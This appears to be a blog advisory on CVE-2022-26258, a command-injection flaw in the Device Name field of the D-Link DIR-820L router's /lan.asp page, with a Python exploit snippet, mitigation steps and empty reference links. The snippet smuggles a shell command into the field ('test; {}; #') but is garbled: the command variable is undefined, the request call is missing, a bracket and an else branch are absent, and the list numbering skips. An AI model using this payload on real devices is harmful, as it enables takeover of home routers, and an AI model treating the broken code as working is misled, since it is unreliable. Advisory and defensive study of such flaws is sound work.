The D-Link DIR-820L is a popular home router that has been used by many people to provide reliable network support. Today, we will discuss a critical vulnerability discovered in the D-Link DIR-820L 1.05B03 version, which could potentially allow an attacker to execute arbitrary commands on the affected device. This Remote Command Execution (RCE) vulnerability has been assigned the ID CVE-2022-26258.

In this post, we will cover the technical details of the vulnerability, provide code snippets to demonstrate the exploit, and offer guidance on how to mitigate the risk. We will also provide links to the original references for those interested in further research.

Vulnerability Details

The vulnerability was discovered in the D-Link DIR-820L 1.05B03 firmware, where an RCE vulnerability exists in the Device Name parameter within the /lan.asp page. An attacker can exploit this vulnerability by injecting malicious shell commands, which can be executed under the context of the running web server. This could potentially grant an attacker full control over the affected device's filesystem, allowing them to modify settings, exfiltrate data, or launch further attacks on the connected network.

Exploit Code Snippet

Below is a simple Python script demonstrating how an attacker might exploit the CVE-2022-26258 vulnerability:

import requests

target_url = "http://TARGET_IP/lan.asp";

payload = {
    "DeviceName": "test; {}; #".format(cmd),
    "save": "Save",

response =, data=payload)

if response.status_code == 200:
    print("Command successfully executed.")
    print("Failed to execute command.")

Replace TARGET_IP with the IP address of the target device and YOUR_COMMAND_HERE with the desired command to execute.

Proof-of-Concept (PoC)

A proof-of-concept (PoC) exploit for the CVE-2022-26258 vulnerability has been published on GitHub by user xAlmighty. The PoC provides a more advanced example of exploiting the vulnerability.


To mitigate the risk of this vulnerability, users are encouraged to take the following steps

1. Update the firmware of the D-Link DIR-820L to the latest version available, which contains patches for the vulnerability.

2. Restrict network access to the router's web interface. This can be achieved by creating firewall rules that limit access to trusted IP addresses.

Regularly monitor and audit network traffic and logs for anomalies suggesting malicious activity.

4. Change default credentials for the router and use strong, unique passwords for both the administrator account and Wi-Fi networks.


The CVE-2022-26258 vulnerability in the D-Link DIR-820L 1.05B03 firmware presents a significant risk, allowing an attacker to execute arbitrary commands on an affected device. Users are encouraged to take the necessary steps to mitigate the risk, including updating to the latest firmware and restricting network access to the web interface.

For more in-depth information regarding this vulnerability, please refer to the official references below.

Original References

1. CVE Details:
2. Exploit-DB:
3. xAlmighty's GitHub:


Published on: 03/28/2022 00:15:00 UTC
Last modified on: 04/04/2022 13:08:00 UTC